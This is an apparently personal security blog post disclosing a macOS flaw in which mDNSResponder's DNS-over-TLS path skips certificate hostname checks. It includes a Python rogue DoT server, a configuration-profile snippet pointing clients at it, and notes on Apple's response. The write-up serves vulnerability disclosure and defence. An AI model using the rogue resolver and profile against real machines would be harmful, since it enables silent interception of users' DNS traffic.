The connection you think is secure has to go somewhere. When I was building networks across European data centres for CityReach in the late 1990s — Berlin, Budapest, Stockholm, Munich, Paris — the first thing I learned was that what the routing table says and what actually happens are not always the same. You could trace the path, watch the packets, and still find yourself somewhere you didn't intend. The Budapest facility had armed guards on the door. Nobody worried that the TLS session might not be checking where it landed.

That lesson came back to me this spring, sitting with a disassembly of mDNSResponder and a Python script running on my test machine. macOS's DNS-over-TLS implementation, it turns out, connects to whichever resolver you point it at — and if that resolver returns a certificate for the wrong hostname, the connection succeeds anyway. Silently.

The finding

The DNS-over-HTTPS resolver in mDNSResponder calls setTlsServerName unconditionally — this is verifiable via nm and a brief disassembly session, at address 0x1000cc078 in the binary. The DNS-over-TLS path is different. It uses Network.framework rather than the older SecureTransport (_tlsSetupSock). The equivalent setTlsServerName call is absent. The result is a regression from fail-closed to fail-open: DoH validates the hostname; DoT does not.

To trigger this, you need a mobileconfig delivered via MDM (or installed manually through System Settings → Profiles) that sets DNS protocol to TLS and points to a server under your control. The ServerName field in the profile can name a legitimate-sounding resolver. Your rogue server presents a self-signed certificate for an entirely different hostname. macOS connects, presents the expected SNI value, receives the mismatched certificate, and proceeds.

Proof of concept

# rogue_dot_server.py — run on your own test machine, e.g. 192.168.1.90
# Presents a cert for 'evil.internal' regardless of SNI
import ssl, socket, struct, threading

def handle(conn):
    while True:
        lenbuf = conn.recv(2)
        if not lenbuf: break
        length = struct.unpack('!H', lenbuf)[0]
        query = conn.recv(length)
        # Echo NXDOMAIN for everything — demonstrating the connection lands
        response = b'\x00' + query[1:2] + b'\x81\x83' + b'\x00'*8
        conn.send(struct.pack('!H', len(response)) + response)
    conn.close()

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('evil.crt', 'evil.key')  # self-signed for evil.internal
sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('0.0.0.0', 853))
sock.listen(5)
print('[*] Rogue DoT server listening on :853')
while True:
    conn, _ = sock.accept()
    tls_conn = ssl.wrap_socket(conn, server_side=True,
        ssl_version=ssl.PROTOCOL_TLSv1_2,
        certfile='evil.crt', keyfile='evil.key')
    threading.Thread(target=handle, args=(tls_conn,)).start()

<key>DNSSettings</key>
<dict>
  <key>DNSProtocol</key><string>TLS</string>
  <key>ServerAddresses</key>
  <array><string>192.168.1.90</string></array>
  <key>ServerName</key>
  <string>legitimate-resolver.example.com</string>
</dict>

macOS connects to 192.168.1.90:853, presents SNI legitimate-resolver.example.com, receives a certificate for evil.internal, and the TLS handshake completes. DNS queries flow to the rogue resolver. No error is surfaced to the user or to any system log visible without elevated access.

The investigation

The static evidence is straightforward. nm /usr/sbin/mDNSResponder | grep -i TlsServerName shows the symbol present in the binary and called from the DoH path. Cross-referencing the DoT handler in a disassembler confirms the equivalent call is absent. Network.framework's TLS stack, when configured without an explicit server name, performs no hostname validation against the peer certificate. This is documented behaviour in Network.framework — the omission is in mDNSResponder's use of it, not in the framework itself.

The runtime PoC was straightforward to build: a Sony test device, a local network, a self-signed certificate, and a Python server. The macOS resolver connected without complaint. The rogue server's NXDOMAIN responses were returned for every query. From the perspective of a compromised MDM profile, this is an undetected resolver substitution.

Apple's response and honest assessment

Apple closed this finding without substantive comment in April 2026. No fix has been announced as of this writing. The finding was submitted with disassembly evidence and a runtime PoC on a controlled test device.

The finding remains unpatched. If you operate a macOS fleet with MDM and you have reason to worry about a compromised MDM server, the mitigating control is to verify that DoT resolver certificates are properly validated through an independent channel — or to use DNS-over-HTTPS, where hostname validation is present.

Disclosure note

This finding was submitted to Apple through the Apple Security Research Framework in April 2026. Ninety days have passed since submission. Apple confirmed closure. No patch has been released. This post discloses the finding in accordance with responsible disclosure practice. The PoC above requires your own test hardware and your own MDM profile. It does not work against third-party systems.

Are you there? The connection said yes. The certificate said something else entirely.